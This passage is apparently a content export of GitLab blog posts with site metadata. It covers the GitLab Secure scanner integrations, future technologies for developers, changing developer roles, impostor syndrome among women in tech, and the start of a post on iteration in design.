getting the most relevant security results. Take a look at how GitLab Secure integrates all these tools into common developer workflows on GitLab:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XnYstHObqlA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Democratizing security\n\nWith GitLab Secure, we've laid the foundation for bringing security tools directly into developers' workflows. At GitLab, we believe in a world where [everyone can contribute](/company/culture/#everyone-can-contribute). [Collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and [transparency](https://handbook.gitlab.com/handbook/values/#transparency) are part of our core values. This approach changes the way we build security features. That's why as part of our [community stewardship promise](/company/stewardship/#promises) we've made all our open source based [SAST scanners available for all users](/releases/2020/08/22/gitlab-13-3-released/#sast-security-analyzers-available-for-all), we offer [open source projects and nonprofits free access to our best features](/solutions/open-source/join/), and we've created a [security scanner integration framework](https://docs.gitlab.com/ee/development/integrations/secure.html) to allow anyone to contribute security scan tools. Our entire [product strategy and vision](/direction/secure/) is also open source, so everyone can understand our vision for an integrated, accessible, and democratic approach to security. Together we can build a more open and modern security approach that helps developers everywhere write more secure code.\n\n## Integrate with GitLab Secure\n\nOut of the box, GitLab provides a variety of pre-integrated and actively managed open source security tools, such as [SAST's 16 analyzers](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) that all support automatic language detection to always run the most relevant security tool. While GitLab will continue to update and build first-party integrations we wanted to ensure that GitLab contributors and integration partners could easily extend GitLab Secure for third-party tools. Our [open integration framework](https://docs.gitlab.com/ee/development/integrations/secure.html) makes it easy for anyone to leverage all of the [features of GitLab Secure](/pricing/feature-comparison/) with any scanning tool they may want to integrate. You can see all the tools GitLab users have requested support for and even add your own request in our [tracking epic](https://gitlab.com/groups/gitlab-org/-/epics/297).\n\n## Community contributions\n\nWith our open integration framework we've seen members of the [GitLab community](/community/) contribute additional security scanners, help maintain the existing open source scanners we offer and expand the list of supported languages and frameworks we support. Our community contributors are helping every GitLab user have access to more accurate, sophisticated, and relevant security results. Here are some recent community contribution highlights:\n\n- [Mobile SAST support via MobSF](https://gitlab.com/gitlab-org/gitlab/-/issues/233777) (contribution by [@williams.brian-heb](https://gitlab.com/williams.brian-heb)) - [GitLab 13.5 Release MVP](/releases/2020/10/22/gitlab-13-5-released/#mvp)\n- [Adding Helm Chart support](https://gitlab.com/gitlab-org/gitlab/-/issues/36755) (contribution by [@agixid](https://gitlab.com/agixid))\n- [Performance improvements to Fuzz testing](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/pythonfuzz/-/merge_requests/1) (contribution by [@jvoisin](https://gitlab.com/jvoisin))\n- [Updates to secret detection](https://gitlab.com/gitlab-org/gitlab/-/issues/205172) (contribution by [@tnir](https://gitlab.com/tnir))\n- [Dependency scanning buxfixes](https://gitlab.com/gitlab-org/gitlab/-/issues/205172) (contribution by [@fcbrooks](https://gitlab.com/fcbrooks))\n- [Updates to Security Scanner underlying operating systems](https://gitlab.com/gitlab-org/gitlab/-/issues/216781) (contribution by [@J0WI](https://gitlab.com/J0WI))\n- [Contributions for .NET Framework Support](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan/-/merge_requests/14) (contribution by [@agixid](https://gitlab.com/agixid))\n- [See the full list of Secure community contributions](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=all&label_name[]=Community%20contribution&label_name[]=devops%3A%3Asecure)\n\nThe open source nature of GitLab allows the community to help improve, maintain, and contribute features within GitLab. This is the ultimate value of open source. Even if we don't offer something, you can always extend or modify the behavior of GitLab to accomplish your goal. When compared to closed-source Security vendors, this is a huge benefit. The impact these contributions have is massive as GitLab Secure is used by tens of thousands of customers and performs hundreds of thousands of security scans every month. If you are interested in contributing, check out our [contributor program](/community/contribute/) and [contributor documentation](https://docs.gitlab.com/ee/development/contributing/).\n\n## Integration partners\n\nCommunity contributions aren't the only way GitLab Secure is being extended. We have a variety of integration partners who provide security integrations that further expand the suite of security tools available to GitLab users. Check out the [GitLab Security integrations](/partners/#security) our partners offer. If you are a security vendor interested in integrating with GitLab, [join our partner program](/handbook/alliances/integration-instructions/) today.\n\n## Looking ahead\n\nWe've come a long way in the past few years with GitLab Secure and we're not done yet. Our [vision is bold (and open source)](/direction/secure/) and [our investment in security is large](https://internal.gitlab.com/handbook/product/investment/). [Security is a team effort](/direction/secure/#security-is-a-team-effort) and we hope you'll join us on our mission to help developers write more secure code.\n\n## Read more about GitLab SAST:\n\n* GitLab [Secure Direction](/direction/secure/)\n* Learn more about [integrating with GitLab Secure](https://docs.gitlab.com/ee/development/integrations/secure.html)\n* View the latest [October 2020 GitLab security trends](/blog/gitlab-latest-security-trends/)\n\nCover image by [Mitchell Luo](https://unsplash.com/@mitchel3uo) on [Unsplash](https://unsplash.com/s/photos/rowing-team)\n{: .note}\n",[110,4103,674,267,2704,815],{"slug":21197,"featured":6,"template":678},"integrating-with-gitlab-secure","content:en-us:blog:integrating-with-gitlab-secure.yml","Integrating With Gitlab Secure","en-us/blog/integrating-with-gitlab-secure.yml","en-us/blog/integrating-with-gitlab-secure",{"_path":21203,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21204,"content":21210,"config":21215,"_id":21217,"_type":16,"title":21218,"_source":17,"_file":21219,"_stem":21220,"_extension":20},"/en-us/blog/how-tomorrows-tech-affects-sw-dev",{"title":21205,"description":21206,"ogTitle":21205,"ogDescription":21206,"noIndex":6,"ogImage":21207,"ogUrl":21208,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21208,"schema":21209},"What devs need to know about tomorrow’s tech today","From 5G to edge computing, microservices and more, cutting-edge technologies will be mainstream soon. We asked more than a dozen DevOps practitioners and analysts which technologies developers need to start to understand today.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681675/Blog/Hero%20Images/future-of-software-what-developers-need-to-know.png","https://about.gitlab.com/blog/how-tomorrows-tech-affects-sw-dev","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What devs need to know about tomorrow’s tech today\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-21\",\n      }",{"title":21205,"description":21206,"authors":21211,"heroImage":21207,"date":21212,"body":21213,"category":8943,"tags":21214},[11618],"2020-10-21","\n\n_This is part two of our four-part series on the future of software development. [Part one](/blog/software-developer-changing-role/) examines how the software developer role is changing. Part three looks at [the role artificial intelligence (AI) will play in software development](/blog/ai-in-software-development/), and part four tackles [how to future-proof your developer career](/blog/future-proof-your-developer-career/)._\n\nIf it feels like we’ve been talking about future tech like 5G and edge computing forever, we have. But they’re getting closer to reality which means they should be on a developer’s radar. We asked 14 DevOps practitioners, analysts and GitLab experts which technologies are most likely to have an impact on software development in the next three to five years. Here’s what they said.\n\n## Edge computing comes of age\n\nThe fast-growing Internet of Things (IoT) market – worth $212 billion in 2019 and projected to hit 1.6 trillion in 2025 [according to market research firm Statista](https://www.statista.com/statistics/976313/global-iot-market-size/) – means edge computing may be coming to your DevOps team sooner than you think. Edge computing will challenge developers to literally put processing power within the application (on the “edge,” in other words) rather than having to reach out to the cloud for computations.\n\nToday’s edge computing is largely confined to telecom companies, says [Carlos Eduardo Arango Gutierrez](https://www.linkedin.com/in/eduardo-arango/?originalSubdomain=co), a software engineer at Red Hat (and a [GitLab Hero](/community/heroes/)), but in three to five years he sees front end developers needing to get a handle on this. “Part of my work at RedHat now is a lot of IoT and edge computing and I think every Kubernetes developer today is going to need to be thinking about it,” he says. “Developers are going to need to be thinking about networking but also about new types of routers and hardware architectures to support this.”\n\n## 5G is happening\n\nDespite the immense hype, a 5G wireless network rollout is underway around the world (here’s [an interactive map](https://www.speedtest.net/ookla-5g-map)). Statista predicts between [20 and 50 million 5G connections](https://hackernoon.com/top-10-software-development-trends-for-2020-you-need-to-know-as293690) as soon as the end of next year. Even if that forecast is optimistic, 5G will shortly upend mobile application use as we know it, and thus mobile application development. Dramatically faster download and upload times will give developers the chance to create more-feature-rich applications with better user experiences including potentially both [augmented](https://www.fi.edu/what-is-augmented-reality) and [virtual reality](https://www.wired.com/story/wired-guide-to-virtual-reality/).\n\n## Really, it’s about networking\n\nThat’s all a long way of saying that these cutting edge technologies are going to require developers to understand how to tie them neatly together. “In the future it doesn’t matter if you’re going to be good at the front end and know languages like Go or Java,” Carlos says. “You’re going to need to understand everything about networking. That’s critical to the future.”\n\n## Hardware becomes a factor\n\nSoftware developers tend to take hardware for granted, and why not? Today one phone or laptop is very much like the other but in a few years that will no longer be true. “As the speed of connectivity continues to evolve and as we hit certain thresholds we need to think about how we design solutions to take advantage of that,” says [Rafael Garcia](https://www.linkedin.com/in/jrafaelgarcia/), director of digital services at insurance conglomerate Aflac. “When storage became cheap it changed how you designed solutions and now with connectivity and broadband you don’t have to be worried about size anymore,” he says.\n\nSize is one consideration but there are many others, Carlos adds. Developers must move past the “if it works on a laptop it works everywhere” model and realize the production clusters and the distributed systems will have entirely different requirements for everything from design to security. “In the future, software developers need to understand the world is not your laptop,” he says.\n\n## Code (or secrets), heal thyself\n\nThe idea of self-healing code is something every DevOps team can embrace and it’s something GitLab CEO [Sid Sijbrandij](/company/team/#sytses) sees as a viable possibility. As an early example of this Sid points to [Kubernetes custom resource definitions](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) because they automatically know the state they should be in. “Viewed through a different lens it’s the same thing in technologies like [Vault](https://www.vaultproject.io),” he explains. “Instead of secrets in a company system lasting for years or months it has dynamic secrets that continually refresh. It’s self-healing for secrets.”\n\n## Microservices go mainstream\n\nYour DevOps team may not have jumped on the [microservices](/topics/microservices/) bandwagon yet – in our 2020 survey only 26% of respondents fully use them – but Sid says they’re key to the future. It will also be important to know how to manage them, he says. “The interactions between services are going to be important particularly when it comes to distributed systems. We’re going to need technology for tracing and troubleshooting services.”\n\n_Why isn’t AI on this list? It’s so critical to the future it will be covered in part three of this series._\n",[4103,2509,2368],{"slug":21216,"featured":6,"template":678},"how-tomorrows-tech-affects-sw-dev","content:en-us:blog:how-tomorrows-tech-affects-sw-dev.yml","How Tomorrows Tech Affects Sw Dev","en-us/blog/how-tomorrows-tech-affects-sw-dev.yml","en-us/blog/how-tomorrows-tech-affects-sw-dev",{"_path":21222,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21223,"content":21229,"config":21235,"_id":21237,"_type":16,"title":21238,"_source":17,"_file":21239,"_stem":21240,"_extension":20},"/en-us/blog/software-developer-changing-role",{"title":21224,"description":21225,"ogTitle":21224,"ogDescription":21225,"noIndex":6,"ogImage":21226,"ogUrl":21227,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21227,"schema":21228},"Software developer roles: How responsibilities are evolving","From your job title to where you sit in the organization and what your priorities are, every single aspect of the software developer role is about to change. More than a dozen DevOps practitioners and analysts shared their views of the future. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664054/Blog/Hero%20Images/future-of-software-developer-role-changing.png","https://about.gitlab.com/blog/software-developer-changing-role","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The software developer role and responsibilities are changing. Here's what to expect\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-20\",\n      }",{"title":21230,"description":21225,"authors":21231,"heroImage":21226,"date":21232,"body":21233,"category":8943,"tags":21234},"The software developer role and responsibilities are changing. Here's what to expect",[11618],"2020-10-20","\n_This is the first in our four-part series on the future of software development. Part two puts the spotlight on [\"future\" technologies that may impact how software is developed](/blog/how-tomorrows-tech-affects-sw-dev/). Part three looks at [the role artificial intelligence (AI) will play in software development](/blog/ai-in-software-development/), and part four tackles [how to future-proof your developer career](/blog/future-proof-your-developer-career/)._\n\nWhat is the role of a developer? Rapid technology advancements, sweeping changes in business priorities, and a seemingly insatiable demand for software have collided in ways that will likely mean substantive changes to the software developer's role over the next few years.\n\nNothing is static, of course, and in our [2020 Global DevSecOps Survey](/developer-survey/) we found that developers are already reporting new responsibilities – such as tasks normally associated with ops and security – while at the same time releasing software much faster and embracing new technologies including Kubernetes, [microservices](/topics/microservices/), and even AI.\n\nBut over the next few years even some fundamental things – like the meaning of \"developer\" or the role in the organization – are poised to change. Here's what more than a dozen DevOps practitioners and analysts see coming.\n\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## What's in a name?\n\nThanks to the explosion of demand for [enterprise software applications](/enterprise/), a wave of \"development democratization\" is about to hit professional developers, and that is going to mean a fundamental shift in what it means to *be* a developer, according to [a report from Deloitte Insights](https://www2.deloitte.com/us/en/insights/focus/signals-for-strategists/digital-transformation-moving-beyond-it.html). [Low-code and no-code development tools](/blog/low-code-no-code/) allow virtually anyone with a good idea to create some level of application, meaning a potentially unlimited number of citizen developers will be capable of doing at least basic application development. Software development won't be restricted to just pro developers anymore and this shift is well underway in the enterprise market because there simply [aren't enough coders to meet the demand](https://www.cnbc.com/2019/06/18/there-are-70000-open-tech-jobs-here-is-how-firms-are-hiring-for-them.html). Writing in a ComputerWeekly article, Gartner research director [Paul Vincent](https://www.linkedin.com/in/paulvincent/?originalSubdomain=uk) goes one step further and suggests there might be times [even professional developers choose to use a low-code tool](https://www.computerweekly.com/feature/Gartner-What-to-consider-before-adopting-low-code-development).\n\n## A new org chart\n\n_Goodbye IT department and hello line of business._ As the software stakes get higher and product managers continue to set software development goals, it makes sense that developers will end up embedded on business teams rather than technology teams. A report from Forrester Research looking at trends for 2020 refers to this shift as [the \"dev diaspora\"](https://www.ciodive.com/news/forresters-predictions-software-development/566257/) and predicts that after some bumps in the road it will improve productivity and release speed. The basic message: Software is critical to business success so should be located *with* the business rather than in the IT department.\n\n## New colleagues and culture\n\nWith developers moving \"into the business\" and a growing emphasis on citizen devs, it's clear not all teams will be filled with hardcore coders. Some certainly will be working alongside citizen developers. But others may also find \"team members\" in unexpected places, like their IDEs. Although artificial intelligence is still nascent in most enterprise development teams, some industry analysts are bullish that AI can bring speed, advice, structure, and perhaps even coding to the table in three to five years from now.\n\nHowever, no matter how quickly AI ends up as part of the pro developer work experience it's clear dev culture is going to have to change if \"development\" is no longer such a specialized skill.\n\n## Yet another shift left\n\nSecurity, test, and automation may have already shifted left so now get ready for customers to shift left, warns [Kenny Johnston](/company/team/#kencjohnston), senior director of product management, Ops at GitLab. \"If you want to have a complete view of [DevOps](/topics/devops/) you have to understand how your application is actually interacting with customers and you have to have that understanding from the early stages of development,\" says Kenny. Traditionally, developers have been largely absent from customer interactions, but that's going to change moving forward. GitLab's director of product management, CI/CD [Jason Yavorska](/company/team/#jyavorska) says one way to make customers real is for developers to take on a design mindset. \"You want to be thinking about the customer and building features together with the customer while both of you are connecting as humans.\"\n\nIf that's a step too far in the near term, Kenny has a medium-term strategy: Focus on what happens when something goes wrong. If developers want to write code that satisfies increasingly demanding customers, Kenny suggests starting with a simple question: \"What's the customer doing when the application fails?\"\n\n## Stop monitoring. Start observing\n\nA new focus on customers and the accompanying tightened feedback loops means more data than ever is likely to be heading to developers. That's not sustainable, says GitLab's senior developer evangelist [Brendan O'Leary](/company/team/#brendan). Constant alerting doesn't tell a developer much, which is why he sees teams moving away from monitoring and toward observability. \"You want to be able to observe how a complex system operates rather than monitoring it,\" he says. \"It's like the difference between Jane Goodall and a gorilla.\" Dr. Goodall can decode what she sees and put it in context, a practice that is tremendously valuable for devs (and ops pros for that matter) to establish. \"If we want to make technology easier to process we need to be able to get this information to developers in a meaningful way,\" he explains. \"We want to be able to show developers exactly what people normally do or where users get stuck in a particular area... all of that is better information than the data they have right now. We have to find a way to surface the information that matters.\"\n\n## Double down on open source\n\nMore than 60% of those who took our DevSecOps Survey are active participants in open source projects and DevOps practitioners expect that will continue to increase. At a time when the world is changing quickly, open source can be a way reticent developers can push themselves to learn about other parts of the business, says [Rafael Garcia](https://www.linkedin.com/in/jrafaelgarcia/), director of digital services at insurance provider Aflac. \"If you're actively engaging in open source that's one way of looking at cross-company projects,\" he says. \"Maybe there's a passion project that's outside of your core business roles or functions. It's a way of doing things that are outside your comfort zone.\"\n\nOpen source also provides a window into the way other companies operate, something developers need a better sense of in a world undergoing big changes, says [Jose Manrique Lopez de la Fuente](https://www.linkedin.com/in/jose-manrique-lopez-de-la-fuente-b869884/), CEO at Bitergia (and a [GitLab Hero](/community/heroes/)). Developers need to understand and cultivate the open source culture, he says. \"You don't have to start from scratch,\" says Manrique. And looking at how other companies manage their open source culture will reinforce that belief. \"It's not only about the skills or the components but also about the relationships with the maintainers of the components. You benefit if you can create a wider community.\"\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n",[4103,8570,736],{"slug":21236,"featured":6,"template":678},"software-developer-changing-role","content:en-us:blog:software-developer-changing-role.yml","Software Developer Changing Role","en-us/blog/software-developer-changing-role.yml","en-us/blog/software-developer-changing-role",{"_path":21242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21243,"content":21249,"config":21254,"_id":21256,"_type":16,"title":21257,"_source":17,"_file":21258,"_stem":21259,"_extension":20},"/en-us/blog/impostorsyndrome-women-in-tech",{"title":21244,"description":21245,"ogTitle":21244,"ogDescription":21245,"noIndex":6,"ogImage":21246,"ogUrl":21247,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21247,"schema":21248},"3 Tips for women in tech (and allies) to challenge impostor syndrome","Women at GitLab share valuable insights about mentorship, microinclusions, and remembering your hard work, to counter impostor syndrome.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681541/Blog/Hero%20Images/done_perfect.jpg","https://about.gitlab.com/blog/impostorsyndrome-women-in-tech","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Tips for women in tech (and allies) to challenge impostor syndrome\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-10-16\",\n      }",{"title":21244,"description":21245,"authors":21250,"heroImage":21246,"date":21251,"body":21252,"category":6634,"tags":21253},[17272],"2020-10-16","\n\nIn an environment where women-identifying individuals make up about [34.4% of the total workforce](https://builtin.com/women-tech/women-in-tech-workplace-statistics), tech is not necessarily the easiest environment for women to break into. The women, particularly those from underrepresented groups, who do join the tech industry ought to feel a particular sense of pride and ownership at their accomplishments – what they achieved is not easy. Unfortunately for many of us, success comes with the added baggage of impostor syndrome – that debilitating feeling that you're undeserving of your accomplishments, despite objective evidence that says otherwise.\n\n## A brief history of impostor syndrome\n\nWhile men can be impacted by impostor syndrome too, it is a feeling that occurs much more frequently among women, and other underrepresented groups. The concept of \"impostor syndrome\" was first introduced in a [1978 academic study](http://mpowir.org/wp-content/uploads/2010/02/Download-IP-in-High-Achieving-Women.pdf) by two psychology researchers who studied a group of high-achieving women in academia who described feeling undeserving of their success, in danger of being outed as secretly incompetent, or a feeling like a fraud. Notably, the majority of the women that took part in the study were striving in the predominately white and male atmosphere of academia in the late 1970s – which has some similarities to the [tech industry of today](/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry/).\n\n## Strategies for curbing your impostor syndrome\n\nImpostor syndrome is more complex than needing a confidence boost. In a [previous blog post looking at impostor syndrome in the context of remote work](/blog/imposter-syndrome-and-remote-work/), we showed some of the common ways impostor syndrome shows up, and explained how working remotely during the pandemic might be magnifying these anxieties.\n\nWe'll unpack some insights and strategies that can be used to overcome impostor syndrome that the women of GitLab shared during two fireside chats at [GitLab Virtual Contribute](/events/gitlab-contribute/), our annual community event. The fireside chats were hosted by the Women Team Member Resource Group (TMRG) and created an opportunity for women working in different capacities at our company to share their insights and experiences, from which other women and allies can learn.\n\n### 1. Identify a mentor\n\nIt's not easy to feel comfortable and confident in a workplace were you are dramatically outnumbered. And it's no wonder that impostor syndrome flourishes among women (and other diverse populations) trying to make their mark in mostly male workplaces.\n\n\"I think one of the biggest challenges is since tech is such a male-dominated field, there are not enough women in leadership positions,\" said [Orit Golowinski](/company/team/#ogolowinski), senior product manager of Release: Progressive Delivery at GitLab, during the fireside chat. \"I think that that's one of the challenges, that there's not enough role models for women going into tech to look and aspire to.\"\n\nIt can be daunting to be one of a few female team leads at your company, or to have aspirations of breaking through that glass ceiling. Regardless of whether you're in a senior or more junior level role, identifying a mentor early on in your career is helpful. In fact, [Sara Davila](/company/team/#saraedavila), Partner and Channel Marketing at GitLab, said she first joined tech after her mentor encouraged her to try something new. Sara's mentor gave her the confidence to leave her role in the oil and gas industry during an economic downturn and move into the tech world. \"I think mentorship for me is really important when it comes to career development because sometimes we're critical on ourselves and we don't know that we can do things that other people see in us,\" said Sara.\n\nGreat mentors like Sara had aren't necessarily easy to find, which is why GitLab launched its pilot [Women in Sales Mentorship program,](/handbook/people-group/women-in-sales-mentorship-pilot-program/) which paired women at GitLab working in the traditionally male-dominated field of tech sales with senior leaders in our company.\n\nAbout 33% of people managers in GitLab are women, but for right now, we don't have any women in executive or senior leadership roles. GitLab continues to be a male-dominated company, with roughly 31% of total GitLab team members self-identified as women, falling short of our goal of a company that is 40% women. [Our journey to a more diverse and inclusive workplace](/blog/our-journey-to-a-diverse-and-inclusive-workplace/) is a work in progress.\n\n### 2. Create opportunities for microinclusion\n\nHave you ever looked around the room at a sea of accomplished people, and felt like an impostor? That the hard work and accomplishments that got you to this place, in this moment are somehow less than the hard work and accomplishments of those around you?\n\nIn the [LeanIn 2020 Women in the Workplace report](https://leanin.org/women-in-the-workplace-2019?gclid=EAIaIQobChMIvLvxmNb-5wIVTNbACh0w4wQBEAAYAiAAEgI_ofD_BwE), 73% of women report experiencing microaggressions at work. Microaggressions – the interruptions, comments, and body language that hit like tiny paper cuts – only compound feelings of impostor syndrome for women and other marginalized groups.\n\n\"Something that I've particularly faced challenge-wise is just there are times when it feels like the other people don't believe you should be in the room with them and they don't value your contributions or what you have to say,\" said [Chloe Whitestone](/company/team/#chloe), technical account manager at GitLab.\n\nWhether you're experiencing the creep of impostor syndrome yourself, or the person next to you is feeling it, defaulting to microinclusions can be a strategy for putting yourself and the people around you at ease. \"I try to think about microinclusions as opposed to microaggressions,\" said [Michelle Hodges](/company/team/#mwhodges), vice president of Worldwide Channels, at GitLab. \"Work on the small little bits of things you can do to be more inclusive as opposed to always checking yourself. And I wrote something down a couple months ago about [microinclusion](https://interactioninstitute.org/micro-inclusion-a-small-step-to-include-someone/). It's from the [Interaction Institute for Social Change](https://interactioninstitute.org/) and it says, 'A symbolic action that forces us to recall the humanity of others.'\"\n\nYou never know when small gestures of kindness from you can make a sizable impact for others. [Robin Schulman](/company/team/#rschulman), chief legal officer and corporate secretary, at GitLab, recalls an interaction she had with a newly minted Vice President at a Board of Directors meeting at her previous company. Robin struck up conversation with the young woman during the meeting, which was attended mostly by older men, about her life and her work. Later, when Robin left the company for a new opportunity, she received an earnest email from the VP explaining how Robin made her feel comfortable in a setting where she felt uncomfortable.\n\n\"I was so sad for all the missed opportunities that I had to do that for someone else and sad for the opportunities that maybe I could have had if somebody had done that for me,\" said Robin.\n\nPerforming microinclusions has the effect of creating a more supportive professional environment. If you think that your colleague is experience a bout of impostor syndrome, ask them about it. We break silence and stigma by having honest conversations about impostor syndrome. Then, go a step further and act more deliberately on behalf of your friends and colleagues. Repeat and attribute their great ideas in meetings, talk up their skillsets to their manager, and nominate them for promotions, bonuses, and any form of public recognition. Defaulting to microinclusions and even acting as a hypeperson for your colleagues will help squash any competitive posturing at work and instead introduce a more supportive and compassionate atmosophere.\n\n### 3. Remember how hard you worked\n\nWomen, particularly those from underrepresented groups, have to work harder and more persistently for recognition in the workplace. These demands make it easy for women to fall into the trap of feeling like you need to be an expert in everything in order to get ahead.\n\nA [frequently quoted statistic](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) shows that women apply for jobs only when they meet 100% of the qualifications, while men apply when they meet 60% of the criteria. More [recent research out of LinkedIn](https://business.linkedin.com/content/dam/me/business/en-us/talent-solutions-lodestone/body/pdf/Gender-Insights-Report.pdf) indicates that women are less aggressive when it comes to their job search than men. Sometimes, you just need to pursue an opportunity with a [growth mindset](https://www.brainpickings.org/2014/01/29/carol-dweck-mindset/), trusting that you will learn what you need to as you go.\n\n\"One thing I would say is don't feel like you need to know everything because nobody knows everything,\" said [Aricka Flowers](/company/team/#atflowers), digital production manager at GitLab. \"Do your best. Work hard and continue to learn, but don't feel like you need to know everything, and that goes for just about any industry, to be honest.\"\n\n*New York Times* journalist [Jessica Bennett](https://www.nytimes.com/by/jessica-bennett) has a great section on impostor syndrome in her book *[Feminist Fight Club](https://www.feministfightclub.com/)*. One of the sections that really stands out is her observations about doubt. If you find yourself succumbing to negative self-talk and starting to freeze up, reframe that self-doubt into idea doubt. While self-doubt will leave you spiraling, idea doubt is motivating. Start iterating on your ideas until it starts to feel more solid. Then, when it comes time to pitch your idea, remember all the hard work that went into it.\n\nIn a [well-liked post on LinkedIn by Sales Foundation CEO Ebony Beckwith](https://www.linkedin.com/feed/update/urn:li:activity:6719331871941103616/), she invokes an insight from Mindy Kaling about impostor syndrome, stating that women of color are less likely to fall victim to impostor syndrome, because they know just how hard they had to work get a seat at the table.\n\n\"While feelings of doubt and fear can still creep in, rarely do thoughts of, 'How did I get here? I don't deserve to be here,'\" said Ebony. \"Because we know exactly how we got here – we did the work! Reminding myself of that hard work is my new cure for impostor syndrome.\"\n\n## Watch and learn\n\nWe hosted two fireside chats with women working in different capacities at GitLab during our Virtual Contribute event. We linked to one of the fireside chats below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/qS0kebPUhTo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## More on this topic\n\n- [How to tackle impostor syndrome while working remotely](/blog/imposter-syndrome-and-remote-work/)\n- [We're working to empower Minorities in Tech with a new employee resource group (ERG)](/blog/gitlab-empowers-minorities-in-tech-with-erg/)\n- [How diversity, inclusion, and belonging works in the tech industry](/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry/)\n",[676,7715],{"slug":21255,"featured":6,"template":678},"impostorsyndrome-women-in-tech","content:en-us:blog:impostorsyndrome-women-in-tech.yml","Impostorsyndrome Women In Tech","en-us/blog/impostorsyndrome-women-in-tech.yml","en-us/blog/impostorsyndrome-women-in-tech",{"_path":21261,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21262,"content":21267,"config":21272,"_id":21274,"_type":16,"title":21275,"_source":17,"_file":21276,"_stem":21277,"_extension":20},"/en-us/blog/iterate-like-a-gitlab-designer",{"title":21263,"description":21264,"ogTitle":21263,"ogDescription":21264,"noIndex":6,"ogImage":12013,"ogUrl":21265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21265,"schema":21266},"Iterate Like a GitLab Designer","Think big, ship small, learn fast","https://about.gitlab.com/blog/iterate-like-a-gitlab-designer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Iterate Like a GitLab Designer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Holly Reynolds\"}],\n        \"datePublished\": \"2020-10-16\",\n      }",{"title":21263,"description":21264,"authors":21268,"heroImage":12013,"date":21251,"body":21270,"category":18484,"tags":21271},[21269],"Holly Reynolds","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAny GitLab team member can tell you that [iteration](https://handbook.gitlab.com/handbook/values/#iteration) is often the most challenging organizational value to practice. Designing and shipping the smallest thing possible can often feel like it goes against our desire to beautify, polish, and perfect.  \n\nThe major challenge is in scoping down the initial vision. Sometimes, we may have to cut scope so much that we do not feel we are shipping anything of value. We often feel a [low level of shame](https://handbook.gitlab.com/handbook/values/#low-level-of-shame) that it doesn't look complete. We sometimes worry that perhaps even a paying customer will feel this pain too.\n\nIn a [GitLab Unfiltered conversation](https://www.youtube.com/watch?v=0lhjzU-QZ2w&amp;feature=youtu.be) about iteration between two GitLab product designers, they talk about our iteration value and some of the challenges teams experience while practicing it: \n\n_\"What we try to do differently than other companies is that we try to make something embarrassingly small. Sometimes I feel that we get trapped in that thought. We become too focused on minimal. Then we've gone past the point of being viable for our business or valuable for our users.\"_\n\nAt best, the goal of making a feature smaller can cause a low level of shame. And at worst, it can create tension on a team that worries about shipping an incomplete vision to customers. \n\nWhen we try to deliver an MVC (or [Minimal Viable Change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc)), a challenging aspect is when the problem feels too large. Perhaps there is a clear [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions), but the amount of time and resources needed to accomplish it is too large. We ask ourselves: _\"What needs to be cut while still providing immediate value and paving the way for scalable improvements?\"_ We often address this question with our [Product Development Flow](https://about.gitlab.com/handbook/product-development-flow/), which includes steps to validate the problem or solution and test in advance to minimize the more significant unknowns.\n\nAnother challenge is keeping our eyes on the bigger picture while also creating MVC solutions. It's easy to focus on the trees we're trimming at the time, but this can cause erosion in the forest elsewhere if we cut them back too much. Collaboration amongst Product Designers and Product Managers in various stages is critical to ensuring we're not making choices that could have a negative ripple effect throughout the application.\n\nAs our team members phrase it, the solution to all of this is to _think big, ship small, and learn fast_.\n\n## Keeping MVCs as C's, not P's\n\nWe can balance smaller with viable if we define the [MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc). MVC (Minimal Viable Change) is not the same as MVP (Minimum Viable Product). Thousands of little changes make up a product, and there is often more than one right way to solve a problem. An MVC is a singular yet mighty change that takes a step in the right direction to improving the product for the user. 